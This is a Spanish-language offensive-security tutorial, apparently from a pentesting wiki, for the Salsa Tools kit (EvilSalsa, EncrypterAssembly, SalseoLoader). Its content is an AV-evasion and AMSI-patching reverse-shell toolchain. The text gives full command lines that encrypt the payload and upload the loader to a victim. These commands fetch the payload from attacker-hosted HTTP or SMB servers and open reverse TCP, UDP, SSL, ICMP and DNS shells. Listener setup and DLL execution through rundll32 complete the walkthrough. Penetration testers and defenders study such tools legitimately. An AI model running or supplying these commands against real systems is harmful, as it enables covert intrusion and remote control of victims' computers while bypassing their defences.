
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY y AV bypass, AMSI patched
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools es una colección de tres herramientas diferentes que, combinadas, te permiten obtener un reverse shell potenciado en cualquier entorno Windows sin siquiera necesitar PowerShell para su ejecución. Con el fin de evitar las técnicas de detección más recientes (AMSI), la mayoría de los componentes fueron escritos inicialmente en C#. Salsa Tools fue publicado públicamente por Luis Vacas durante su charla “Inmersión en la explotación tiene rima” que tuvo lugar durante h-c0n el 9 de febrero de 2019.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AV Safe (17 de febrero)
* Parches AMSI
* Ejecución de PowerShell
* ...
Salsa-Tools está hecho de tres ingredientes diferentes: - EvilSalsa - EncrypterAssembly - SalseoLoader Y su comportamiento es el siguiente:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] That is our Payload
EvilSalsa es el ingrediente clave de esta receta. Contiene el payload, que se ejecuta en el sistema de la siguiente manera: tan pronto como el payload comienza, ejecuta System.Management.Automation.dll que crea un runspace. Dentro de ese runspace tenemos cuatro tipos de shells (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Una vez que EvilSalsa se carga, lo primero es comprobar la existencia de c:\windows\system32\amsi.dll. Si existe, se parchea utilizando una variante casera de los bypasses de CyberArk y Rastamouse.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Software that encrypts the payload using RC4
[+] We have the version in python and the version in .exe
EncrypterAssembly puede utilizarse como un script de Python o como un binario Exe. Cifra el EvilSalsa generado previamente.
Uso en Python:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
Uso del ejecutable:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader se encarga de cargar el payload cifrado. Puede compilarse tanto como biblioteca o como ejecutable. Si se ejecuta como ejecutable, los argumentos elegidos deben proporcionarse al ejecutarlo. Si se compila como biblioteca, el descriptor "main" debe ser exportado. Los argumentos se añaden mediante variables de entorno.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] Usage:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Available Payloads:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Descarga el código fuente desde github y compila EvilSalsa y SalseoLoader. Necesitarás Visual Studio instalado para compilar el código.
Compila esos proyectos para la arquitectura del equipo Windows donde los vayas a usar (Si el Windows es x64, compílalos para esa arquitectura).
Puedes seleccionar la arquitectura dentro de Visual Studio en la pestaña "Build" a la izquierda en "Platform Target".
(Si no encuentras esta opción, presiona en "Project Tab" y luego en " Properties")

Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los logs aparecerá la ruta del ejecutable):

En primer lugar, necesitarás codificar el EvilSalsa.dll. Para ello, puedes usar el script de python encrypterassembly.py o compilar el proyecto EncrypterAssembly
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
Bien, ahora tienes todo lo necesario para ejecutar todo el asunto Salseo: el EvilSalsa.dll codificado y el binario de SalseoLoader. Sube el binario SalseoLoader.exe a la máquina. No debería ser detectado por ningún AV...
Recuerda iniciar un nc como listener de reverse shell, y un servidor HTTP para servir el evilsalsa codificado.
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
Recuerda iniciar un nc como listener de reverse shell, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
Configura el listener en la máquina atacante:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <port> -tls1
Ejecuta la puerta trasera:
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <Attacker-IP> <Port>
Esta vez necesitas una herramienta especial en el cliente para recibir la reverse shell. Descarga: [https://github.com/inquisb/icmpsh]
Deshabilitar Respuestas ICMP:
#Cuando termines, puedes habilitarlo nuevamente ejecutando:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Ejecuta el cliente:
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
Dentro de la víctima, ejecutemos el asunto salseo:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Abre el proyecto SalseoLoader usando Visual Studio.
Antes de la función main añade esta línea: [DllExport]

Herramientas --> Administrador de paquetes NuGet --> Administrar paquetes NuGet para la solución...

Busca el paquete DllExport (usando la pestaña Browse), y presiona Install (y acepta la ventana emergente)

En tu carpeta del proyecto han aparecido los archivos: DllExport.bat y DllExport_Configure.bat
Presiona Uninstall (sí, es extraño pero confía en mí, es necesario)

Simplemente sal de Visual Studio
Luego, ve a tu carpeta SalseoLoader y ejecuta DllExport_Configure.bat Selecciona x64 (si lo vas a usar dentro de una máquina x64, ese fue mi caso), selecciona System.Runtime.InteropServices (dentro de Namespace for DllExport) y presiona Apply

[DllExport] ya no debería estar marcado como error

Selecciona Output Type = Class Library (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)

Selecciona plataforma x64 (Project --> SalseoLoader Properties --> Build --> Platform target = x64)

Para compilar la solución: Build --> Build Solution (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
Copia y pega la DLL donde quieras probarla.
Ejecuta:
rundll32.exe SalseoLoader.dll,main
Si no aparece ningún error, ¡probablemente tienes una DLL funcional!!
No olvides usar un servidor HTTP y configurar un listener nc
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Documentado por https://github.com/carlospolop-forks/